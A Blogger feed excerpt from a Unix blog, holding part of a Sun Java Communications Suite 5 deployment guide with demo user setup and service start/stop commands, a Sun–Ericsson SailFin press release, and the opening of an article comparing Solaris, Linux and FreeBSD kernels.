class="cEmphasis"&gt;domain&lt;/em&gt; rather than &lt;span class="cCode"&gt;uid&lt;/span&gt;, when you use Delegated Administrator to create them. &lt;/p&gt;&lt;/ul&gt;&lt;/div&gt; &lt;div class="pSmartList1"&gt;&lt;ol class="pSmartList1" type="1"&gt;&lt;a name="wp47990"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;If you make changes to the &lt;span class="cCode"&gt;resource.properties&lt;/span&gt; file, restart Web Server:&lt;/li&gt;&lt;/div&gt;&lt;/ol&gt;&lt;/div&gt; &lt;div class="pCodelineIndent"&gt;&lt;ul class="pCodelineIndent"&gt;&lt;a name="wp40786"&gt; &lt;/a&gt;&lt;p class="pCodelineIndent"&gt; cd /var/opt/SUNWwbsvr7/https-am.abc.beta.com/bin  &lt;/p&gt;&lt;a name="wp40787"&gt; &lt;/a&gt;&lt;p class="pCodelineIndent"&gt; ./stopserv  &lt;/p&gt;&lt;a name="wp40788"&gt; &lt;/a&gt;&lt;p class="pCodelineIndent"&gt; ./startserv  &lt;/p&gt;&lt;/ul&gt;&lt;/div&gt; &lt;div class="pSmartList1"&gt;&lt;ol class="pSmartList1" type="1"&gt;&lt;a name="wp40668"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;The first time you use Delegated Administrator console, you must add service packs to the organization that contains your users. In a web browser, open the URL for the Delegated Administrator console and log in as &lt;span class="cCode"&gt;amadmin&lt;/span&gt; (password is &lt;span class="cCode"&gt;adminpass&lt;/span&gt;):&lt;/li&gt;&lt;/div&gt;&lt;a name="wp35934"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;http://am.abc.beta.com/da/DA/Login&lt;/span&gt; &lt;/p&gt;&lt;a name="wp35935"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Click the check box next to the &lt;span class="cCode"&gt;comms.beta.com&lt;/span&gt; organization, then click the Allocate Service Package button.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp47792"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; The Allocate Service Package window appears. Service packages are organized within a set of three pages. &lt;/p&gt;&lt;a name="wp47793"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Click the Single Page button (to the right of the Compare button) to map the three pages into a single page view.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp35936"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Select the desired service packages.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp35937"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; Choose from among earth, mars, mercury, and venus, because they have mail and calendar services enabled. Each service package has a different mail quota. &lt;/p&gt;&lt;a name="wp35938"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Click Next to continue.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp40806"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Accept the Mail Service defaults, then click Next.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp40815"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;If you chose a service package that contains Calendar, type the Calendar Host &lt;span class="cCode"&gt;wireless.comms.beta.com&lt;/span&gt; and Anonymous Login Yes. Then click Next.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp35939"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Select the quantity of each service pack desired then click Next.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp35940"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; A quantity of 100 is adequate for demo purposes. &lt;/p&gt;&lt;a name="wp35941"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Review your choices and click Finish.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp40829"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; The service packages are created. &lt;/p&gt;&lt;a name="wp35942"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Once the service packs have been allocated for the domain, you can now add users to the domain. Click the domain link, &lt;span class="cCode"&gt;comms.beta.com&lt;/span&gt;.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp35943"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Click the New button to create a new user account within this domain.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp35944"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Type a First Name (such as &lt;span class="cCodeStrong"&gt;Demo&lt;/span&gt;), Last Name (such as &lt;span class="cCodeStrong"&gt;Five&lt;/span&gt;), Display Name (such as &lt;span class="cCodeStrong"&gt;Demo Five&lt;/span&gt;), then click Next.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp35945"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;There is no need to type postal information, so click Next.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp35946"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Select a service pack for this user, for example, earth, then click Next.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp35947"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Type the email address, for example, &lt;span class="cCodeStrong"&gt;demo5@comms.beta.com&lt;/span&gt;. Mail Delivery Option should be Local Inbox. Leave the other fields blank.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp35948"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Click Next.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp40837"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Choose your calendar preferences and pick your preferred timezone. Then click Next.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp35949"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Type Login ID and Password. In this example, Login ID is &lt;span class="cCodeStrong"&gt;demo5&lt;/span&gt; and password is &lt;span class="cCodeStrong"&gt;demo&lt;/span&gt;.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp35950"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Click Next to continue.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp35951"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Verify the user information then click Finish to create the user account. &lt;/li&gt;&lt;/div&gt;&lt;a name="wp35952"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Log in to Access Manager as &lt;span class="cCode"&gt;amadmin&lt;/span&gt; and verify that the IM and Presence services have been added to the newly created user. If not, assign services to those users as described previously in To Add Services to the Lower Level Organization.&lt;/li&gt;&lt;/div&gt;&lt;/ol&gt;&lt;/div&gt; &lt;h1 class="pHeading1"&gt;Starting and Stopping Communications Services &lt;/h1&gt; &lt;a name="wp43996"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; This section describes the commands needed to start and stop all the Communications Services. &lt;/p&gt; &lt;a name="wp44029"&gt; &lt;/a&gt;&lt;h4 class="pHeading4"&gt;   To Start and Stop Services &lt;/h4&gt; &lt;a name="wp44023"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; You should stop services before attempting to start them. &lt;/p&gt; &lt;div class="pSmartList1"&gt;&lt;ol class="pSmartList1" type="1"&gt;&lt;a name="wp44024"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;To stop all services:&lt;/li&gt;&lt;/div&gt;&lt;a name="wp44033"&gt; &lt;/a&gt;&lt;p class="pAnchor"&gt; &lt;/p&gt;&lt;div align="left"&gt; &lt;table id="SummaryNotReq44034" border="1" cellpadding="5" cellspacing="0"&gt;   &lt;caption&gt;&lt;a name="wp44036"&gt; &lt;/a&gt;&lt;p class="pCaption"&gt; Table  12  Commands to Stop Communications Services &lt;/p&gt; &lt;/caption&gt;   &lt;tbody&gt;&lt;tr align="left" bgcolor="#cdccee" valign="top"&gt;    &lt;th scope="col"&gt;&lt;a name="wp44040"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; Service &lt;/p&gt; &lt;/th&gt;     &lt;th scope="col"&gt;&lt;a name="wp44042"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; Command &lt;/p&gt; &lt;/th&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp44044"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Instant Messaging &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp44046"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; /&lt;span class="cCode"&gt;opt/SUNWiim/sbin/imadmin stop&lt;/span&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp44048"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Access Manager &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp44050"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;span class="cCode"&gt;/etc/init.d/amserver stop&lt;/span&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp44052"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Web Server &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp44054"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;span class="cCode"&gt;/var/opt/SUNWwbsvr7/https-wireless.comms.beta.com/bin/stopserv&lt;/span&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp48389"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Web Server Administrator &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp48391"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; /var/opt/SUNWwbsvr7/admin-server/stopserv &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp44056"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Calendar Server &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp44058"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;span class="cCode"&gt;/opt/SUNWics5/cal/sbin/stop-cal&lt;/span&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp44060"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Messaging Server &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp44121"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;span class="cCode"&gt;/opt/SUNWmsgsr/sbin/stop-msg&lt;/span&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp44068"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Directory Server &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp44070"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;span class="cCode"&gt;/opt/SUNWdsee/ds6/bin/dsadm stop /var/opt/SUNWdsee/dsins1&lt;/span&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/div&gt;&lt;a name="wp44008"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;To start all services:&lt;/li&gt;&lt;/div&gt;&lt;a name="wp44180"&gt; &lt;/a&gt;&lt;p class="pAnchor"&gt; &lt;/p&gt;&lt;div align="left"&gt; &lt;table id="SummaryNotReq44143" border="1" cellpadding="5" cellspacing="0"&gt;   &lt;caption&gt;&lt;a name="wp44145"&gt; &lt;/a&gt;&lt;p class="pCaption"&gt; Table  13  Commands to Start Communications Services   &lt;/p&gt; &lt;/caption&gt;   &lt;tbody&gt;&lt;tr align="left" bgcolor="#cdccee" valign="top"&gt;    &lt;th scope="col"&gt;&lt;a name="wp44149"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; Service &lt;/p&gt; &lt;/th&gt;     &lt;th scope="col"&gt;&lt;a name="wp44151"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; Command &lt;/p&gt; &lt;/th&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp44157"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Directory Server &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp44159"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;span class="cCode"&gt;/opt/SUNWdsee/ds6/bin/dsadm start /var/opt/SUNWdsee/dsins1&lt;/span&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp44161"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Messaging Server &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp44163"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;span class="cCode"&gt;/opt/SUNWmsgsr/sbin/start-msg&lt;/span&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp44165"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Calendar Server &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp44167"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;span class="cCode"&gt;/opt/SUNWics5/cal/sbin/start-cal&lt;/span&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp48397"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Web Server Administrator &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp48399"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; /var/opt/SUNWwbsvr7/admin-server/startserv &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp44169"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Web Server &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp44246"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;span class="cCode"&gt;/var/opt/SUNWwbsvr7/https-wireless.comms.beta.com/bin/startserv&lt;/span&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp44173"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Access Manager &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp44175"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;span class="cCode"&gt;/etc/init.d/amserver start&lt;/span&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp44177"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Instant Messaging &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp44179"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;span class="cCode"&gt;/opt/SUNWiim/sbin/imadmin start&lt;/span&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/div&gt;&lt;/ol&gt;&lt;/div&gt; &lt;a name="wp996760"&gt; &lt;/a&gt;&lt;a name="wp41540"&gt;&lt;/a&gt;&lt;h1 class="pHeading1"&gt;Accessing Sun Resources Online &lt;/h1&gt; &lt;a name="wp41560"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; The &lt;a href="http://docs.sun.com/"&gt;docs.sun.com&lt;/a&gt;SM web site enables you to access Sun technical documentation online. You can browse the docs.sun.com archive or search for a specific book title or subject. Books are available as online files in PDF and HTML formats. Both formats are readable by assistive technologies for users with disabilities. &lt;/p&gt; &lt;a name="wp41588"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; To access the following Sun resources, go to &lt;a href="http://www.sun.com/"&gt;http://www.sun.com&lt;/a&gt;: &lt;/p&gt; &lt;div class="pSmartList1"&gt;&lt;ul class="pSmartList1"&gt;&lt;a name="wp41564"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Downloads of Sun products&lt;/li&gt;&lt;/div&gt;&lt;a name="wp41567"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Services and solutions&lt;/li&gt;&lt;/div&gt;&lt;a name="wp41570"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Support (including patches and updates)&lt;/li&gt;&lt;/div&gt;&lt;a name="wp41573"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Training&lt;/li&gt;&lt;/div&gt;&lt;a name="wp41576"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Research&lt;/li&gt;&lt;/div&gt;&lt;a name="wp41579"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Communities (for example, Sun Developer Network)&lt;/li&gt;&lt;/div&gt;&lt;/ul&gt;&lt;/div&gt; &lt;a name="wp41676"&gt; &lt;/a&gt;&lt;h1 class="pHeading1"&gt; &lt;hr /&gt;&lt;/h1&gt;&lt;!-- end content --&gt;      &lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7456767307160502225-5310326768591592648?l=all-unix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://all-unix.blogspot.com/feeds/5310326768591592648/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7456767307160502225&amp;postID=5310326768591592648' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/5310326768591592648'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/5310326768591592648'/><link rel='alternate' type='text/html' href='http://all-unix.blogspot.com/2007/05/sun-java-communications-suite-5-on.html' title='Sun Java Communications Suite 5 on Multi-Hosts'/><author><name>Alvin</name><uri>http://www.blogger.com/profile/16016156059643729333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7456767307160502225.post-814117723346673463</id><published>2007-05-11T20:04:00.000+08:00</published><updated>2007-05-30T22:45:56.658+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Jave ES'/><title type='text'>Deployment Example: Sun Java Communications Suite 5 on a Single Host</title><content type='html'>This deployment example contains the following sections:&lt;br /&gt;    * Deployment Example Revision History&lt;br /&gt;    * Summary of Changes&lt;br /&gt;    * About This Deployment Example&lt;br /&gt;    * Installing the Example&lt;br /&gt;    * Configuring Components&lt;br /&gt;    * Starting and Stopping Communications Services&lt;br /&gt;    * Known Issues and Limitations&lt;br /&gt;    * Accessing Sun Resources Online&lt;br /&gt;&lt;br /&gt;&lt;a href="http://docs.sun.com/source/820-0086/index.html"&gt;&lt;span style="font-weight:bold;"&gt;Deployment Example: Sun Java Communications Suite 5 on a Single Host&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;P&gt;&amp;nbsp&lt;/P&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7456767307160502225-814117723346673463?l=all-unix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://all-unix.blogspot.com/feeds/814117723346673463/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7456767307160502225&amp;postID=814117723346673463' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/814117723346673463'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/814117723346673463'/><link rel='alternate' type='text/html' href='http://all-unix.blogspot.com/2007/05/deployment-example-sun-java.html' title='Deployment Example: Sun Java Communications Suite 5 on a Single Host'/><author><name>Alvin</name><uri>http://www.blogger.com/profile/16016156059643729333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7456767307160502225.post-2543935144172533256</id><published>2007-05-10T23:46:00.000+08:00</published><updated>2007-05-10T23:47:58.747+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='News'/><title type='text'>Sun to Develop New Communications Application Server Through Open Source GlassFish Community</title><content type='html'>&lt;p&gt;Sun to Develop New Communications Application Server Through Open Source GlassFish Community&lt;/p&gt; &lt;p&gt;Collaboration With Ericsson Addresses the Need for an Open Source, Java Technology-Based Development Platform That Supports the Portability of Applications and Services Across Numerous Devices and Networks &lt;/p&gt; &lt;p&gt;SAN FRANCISCO, JAVAONE(SM) CONFERENCE, May 8 /PRNewswire-FirstCall/ — Sun Microsystems, Inc., (NASDAQ:SUNW) today announced a multi-faceted collaboration agreement with Ericsson to jointly develop an open source, Java(TM) technology-based communications application server as part of the GlassFish(TM) community. This open source contribution means Java software developers, Independent Software Vendors (ISV), System Integrators and individuals will have access to telecommunications technologies and resources to help accelerate the development of multimedia, VOIP, IM and next generation applications.&lt;/p&gt; &lt;p&gt;As part of this announcement, Ericsson will contribute its standards-based Session Initiation Protocol (SIP) Servlet 1.0 compatible application server, to the GlassFish community under the OSI-approved Common Development and Distribution License (CDDL) and dual licensed under the GNU General Public License version two (GPLv2). Ericsson will also take module ownership for the JSR 289 compatible SIP servlet container under Project SailFin a subproject of the GlassFish open source project. The source code for this initial contribution will be available for download as part of Project SailFin at: http://sailfin.dev.java.net/. Sun and Ericsson also announced a supporting program to provide developers and ISVs with additional resources, technical information, access to network-enabled testing and demo environments, as well as tools and expertise from both companies.&lt;/p&gt; &lt;p&gt;“The collaborative efforts of Sun and Ericsson represent a significant step in the convergence of enterprise IT and telecommunications development and the promise of Next Generation Networks (NGNs) based on IP Multimedia Subsystems (IMS),” said Karen Tegan Padir, vice president, Enterprise Java Platforms at Sun. “Using the communications application server, developers and ISVs will be able to build voice-over-IP (VOIP), instant messaging and multimedia into their Java Platform Enterprise Edition applications that can then be delivered to any connected consumer device including mobile phones, PCs and set-top boxes.”&lt;/p&gt; &lt;p&gt;Claes Odman, head of Multimedia Solutions at Ericsson’s Multimedia Business Unit, says: “Through this collaboration, Ericsson takes a very active role to enable all involved industry players and consumers to reap the benefits from IMS, such as scalability, quality of service and a strong user experience, building on open source. By giving developer communities the tools necessary to build applications that seamlessly fit in an IMS environment we stimulate the creation of a wider variety of new applications that support the emerging communication culture with every day life experiences anywhere, anytime and on any device.”&lt;/p&gt; &lt;p&gt;Sun Java System Communications Application Server&lt;/p&gt; &lt;p&gt;Upon finalization of the JSR 289 specification by the Java Community Process (JCP) later this year, Sun intends to bring a Sun supported product to market. The Sun Java System Communications Application Server will be based on the collaborative development between Sun and Ericsson as part of the GlassFish community and the SailFin open source project. Ericsson will license the forthcoming Sun product, along with the standard Sun Java System Application Server, to embed in solutions built by Ericsson. Ericsson also plans to standardize development of applications and services on the Sun Java System Communications Application Server&lt;/p&gt; &lt;p&gt;Following the first release of Sun Java System Communications Application Server, Sun and Ericsson will continue to collaborate around enhancing the platform and SIP Servlet implementation. As part of this collaboration, Sun will also create a module for the NetBeans(TM) Integrated Development Environment to support the Sun Java System Communications Application Server&lt;/p&gt; &lt;p&gt;Sun and Ericsson to Create Developer Community Initiatives&lt;/p&gt; &lt;p&gt;In order to support the convergence between the IT and telecommunications industries, Sun and Ericsson will join forces to offer third party developers access to converged services delivery platforms through their respective developer programs, such as the Sun(SM) Developer Network (SDN) program, Sun(SM) Partner Advantage and Ericsson Mobility World Developer Program. By building on existing programs and relationships with developers on each side, the two companies aim to attract, educate and offer the tools, infrastructure and network testing environments for developers and ISVs. Because Ericsson and Sun are also committed to providing these supporting technical programs and testing capabilities, developers will be able to more easily prepare and verify applications for use in the new environment.&lt;/p&gt; &lt;p&gt;To learn more about Ericsson Mobility World please visit: http://www.ericsson.com/mobilityworld&lt;/p&gt; &lt;p&gt;To learn more about Sun Developer Network, please visit: http//developers.sun.com&lt;/p&gt; &lt;p&gt;About the JavaOne Conference&lt;/p&gt; &lt;p&gt;Located at Moscone Center in San Francisco, May 8-11, the annual JavaOne conference is one of the leading events for Java technology developers. Established in 1996, the Conference provides technology enthusiasts the opportunity to learn about the latest technology innovations with Java technology, scripting, open source, Web 2.0 and more. Developers get hands-on experience with the technology, can network with their peers, and have the opportunity to network directly with technology experts from technology industry leaders. For more information about the JavaOne conference, visit http://java.sun.com/javaone.&lt;/p&gt; &lt;p&gt;About Sun Microsystems, Inc.&lt;/p&gt; &lt;p&gt;A singular vision — “The Network Is The Computer”(TM) — guides Sun in the development of technologies that power the world’s most important markets. Sun’s philosophy of sharing innovation and building communities is at the forefront of the next wave of computing: the Participation Age. Sun can be found in more than 100 countries and on the Web at sun.com.&lt;/p&gt; &lt;p&gt;NOTE: Sun, Sun Microsystems, the Sun logo, Java, JavaOne, NetBeans, GlassFish and The Network Is The Computer are trademarks or registered trademarks of Sun Microsystems, Inc. in the United States and other countries.&lt;/p&gt; &lt;p&gt;Contact:  Jacki DeCoster of Sun Microsystems, +1-415-294-4482, or jacki.decoster@sun.com. &lt;/p&gt; &lt;p&gt;Source: Sun Microsystems, Inc.&lt;/p&gt; &lt;p&gt;CONTACT:  Jacki DeCoster of Sun Microsystems, +1-415-294-4482, or&lt;br /&gt;jacki.decoster@sun.com&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7456767307160502225-2543935144172533256?l=all-unix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://all-unix.blogspot.com/feeds/2543935144172533256/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7456767307160502225&amp;postID=2543935144172533256' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/2543935144172533256'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/2543935144172533256'/><link rel='alternate' type='text/html' href='http://all-unix.blogspot.com/2007/05/sun-to-develop-new-communications.html' title='Sun to Develop New Communications Application Server Through Open Source GlassFish Community'/><author><name>Alvin</name><uri>http://www.blogger.com/profile/16016156059643729333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7456767307160502225.post-4772570506311606162</id><published>2007-04-27T10:26:00.001+08:00</published><updated>2007-04-27T10:40:33.389+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>A Comparison of Solaris, Linux, and FreeBSD Kernels</title><content type='html'>&lt;span style="font-weight: bold;"&gt;by Max Bruning &lt;/span&gt;                               &lt;p&gt;I spend most of my time teaching classes on Solaris internals, device drivers, and kernel crash dump analysis and debugging. When explaining to classes how various subsystems are implemented in Solaris, students often ask, "How does it work in Linux?" or, "In FreeBSD, it works like this, how about Solaris?"  This article examines three of the basic subsystems of the kernel and compares implementation between Solaris 10, Linux 2.6, and FreeBSD 5.3.&lt;/p&gt;  &lt;p&gt;The three subsystems examined are scheduling, memory management, and file system architecture. I chose these subsystems because they are common to any operating system (not just Unix and Unix-like systems), and they tend to be the most well-understood components of the operating system.&lt;/p&gt;  &lt;p&gt;This article does not go into in-depth details on any of the subsystems described. For that, refer to the source code, various websites, and books on the subject. For specific books, see:&lt;/p&gt;  &lt;ul&gt;&lt;li&gt;&lt;em&gt;Solaris Internals: Core Kernel Architecture&lt;/em&gt; by McDougall and Mauro (visit &lt;a href="http://www.solarisinternals.com/"&gt;Solaris Internals&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;&lt;em&gt;The Design and Implementation of the FreeBSD Operating System&lt;/em&gt; by McKusick and Neville-Neil (visit &lt;a href="http://www.mckusick.com/FreeBSDbook.html"&gt;The Design and Implementation of the FreeBSD Operating System&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;&lt;em&gt;Linux Kernel Development&lt;/em&gt; by Love (visit &lt;a href="http://rlove.org/kernel_book"&gt;Linux Kernel Development, 2nd Edition&lt;/a&gt;) and &lt;em&gt;Understanding the Linux Kernel&lt;/em&gt; by Bovet and Cesati (visit &lt;a href="http://www.oreilly.com/catalog/linuxkernel2"&gt;Understanding the Linux Kernel, 2nd Edition&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;  &lt;p&gt;If you search the Web for Linux, FreeBSD, and Solaris comparisons, most of the hits discuss old (in some cases, Solaris 2.5, Linux 2.2, 